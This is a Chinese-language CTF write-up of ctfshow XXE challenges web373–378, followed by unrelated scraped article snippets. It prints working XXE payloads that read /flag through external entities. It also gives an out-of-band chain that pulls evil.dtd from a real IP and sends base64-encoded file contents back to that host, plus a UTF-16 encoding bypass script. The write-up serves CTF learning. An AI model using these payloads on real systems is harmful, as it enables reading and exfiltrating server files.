【Web】CTFSHOW XXE刷题记录(全)

news/2024/5/19 23:44:52 标签: ctfshow, web, ctf, xxe, wp

目录

web373-toc" style="margin-left:0px;">web373

web374-toc" style="margin-left:0px;">web374

web375-toc" style="margin-left:0px;">web375

web376-toc" style="margin-left:0px;">web376

web377-toc" style="margin-left:0px;">web377

web378-toc" style="margin-left:0px;">web378


前置知识先看这篇文章:XXE漏洞学习

用的多的就是外部实体声明和参数实体声明

web373">web373

有回显的xxe

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<z3r4y>
<ctfshow>ctfshow>&xxe;</ctfshow>ctfshow>
</z3r4y>

web374">web374

无回显的xxe,vps外带,用参数实体注入

 

payload:

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.222.136.33:1338/evil.dtd">
%dtd;
]>

服务器上放evil.dtd

evil.dtd的内容,内部的%号要进行实体编码成&#x25

<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%all;
%send;

收到外带请求,base64解码即可

web375">web375

多过滤了<?xml version="1.0",问题不大,本来也不一定要用(xml头声明不强制要求,可有可无)

web374一样即可

web376">web376

就是过滤多加了一个过滤大小写,形同虚设

打法同web374

web377">web377

好家伙,把http也ban了

可以看这篇文章(没错,Y4✌写的):XXE介绍与绕过 - SCU-CTF HomePage

 payload都一样,只要上传时多加个编码即可

import requests
url = 'http://a4feaf21-d126-455c-beca-83288c5ae213.challenge.ctf.show/'
data = '''
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.222.136.33:1338/evil.dtd">
%dtd;
]>
'''
r = requests.post(url=url,data=data.encode('utf-16'))

web378" style="background-color:transparent;">web378

右键查看源码发现这么一段:

一眼jQuery的AJAX,服务器会把msg信息给到回显

 随便输,抓个包

擦,那不直接外部实体注入XXE读本地文件

payload:

<!DOCTYPE evil [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>


http://www.niftyadmin.cn/n/5395348.html

相关文章

js之继承

js之继承 1、原型 prototype 和 __proto__2、原型链3、继承4、hasOwnProperty 1、原型 prototype 和 proto 每个对象都有一个__proto__属性&#xff0c;并且指向它的prototype原型对象每个构造函数都有一个prototype原型对象prototype原型对象里的constructor指向构造函数本身…

面试redis篇-11Redis集群方案-哨兵

Redis提供了哨兵(Sentinel)机制来实现主从集群的自动故障恢复。哨兵的结构和作用如下: 监控:Sentinel 会不断检查您的master和slave是否按预期工作自动故障恢复:如果master故障,Sentinel会将一个slave提升为master。当故障实例恢复后也以新的master为主通知:Sentinel充当…

Maya笔记 设置工作目录

Maya会把素材场景等自动保存在工作目录里&#xff0c;我们可以自己定义工作目录 步骤1 创建workspace.mel文件 文件/设置项目 ——>选择一个文件夹&#xff0c;点击设置——>创建默认工作区 这一个后&#xff0c;可以在文件夹里看到.mel文件 步骤2 自动创建文件夹…

2024年sCrypt编程马拉松即将开幕

BSV区块链的建设者们&#xff0c;你们在哪&#xff1f;2024年sCrypt编程马拉松即将拉开帷幕&#xff01; 2024年3月16日至17日&#xff0c;我们将在旧金山市举办一场以比特币智能合约&#xff08;即 sCrypt&#xff09;和比特币通证&#xff08;如Ordinals&#xff09;相结合为…

将python两个版本添加环境变量(Mac版)

在运行程序的时候&#xff0c;可能不知道选择哪个版本的程序来执行&#xff0c;先添加环境变量&#xff0c;然后进行选择。 1、查看python安装路径 which python which python3 来查看各个版本的安装位置 2、编辑环境变量配置文件 Macos使用默认终端的shell是bash&#xff0c…

Jtti:vmware安装ubuntu系统蓝屏怎么解决?

在虚拟机软件 VMware 中安装 Ubuntu 系统出现蓝屏(Blue Screen)的情况可能是由于多种原因引起的&#xff0c;以下是一些可能的解决方法&#xff1a; 1.重新安装 Ubuntu&#xff1a;尝试重新安装 Ubuntu 操作系统&#xff0c;确保安装过程中没有出现错误。 2.检查虚拟机配置&…

[论文笔记] Mistral论文解读

https://arxiv.org/pdf/2310.06825.pdf GQA: 1、加快推理速度 2、减小内存需求 3、允许更大的batch 4、更高的吞吐量 SWA&#xff1a; 1、较低的计算成本 更有效的处理 较长的序列。 2、感受野更符合常理。不再是全局感受野&#xff0c;而是只和前4096个进行语义融合。…

【Node.js】自动生成 API 文档

目录 1、直接使用swagger-ui-express 2、配合swagger-jsdoc 如何在Node.js项目中使用 Swagger 来自动生成 API接口文档&#xff0c;使用生成方式有很多种。本文基于swagger-jsdocswagger-ui-express快速实现 1、直接使用swagger-ui-express // 方便来浏览和测试api npm i sw…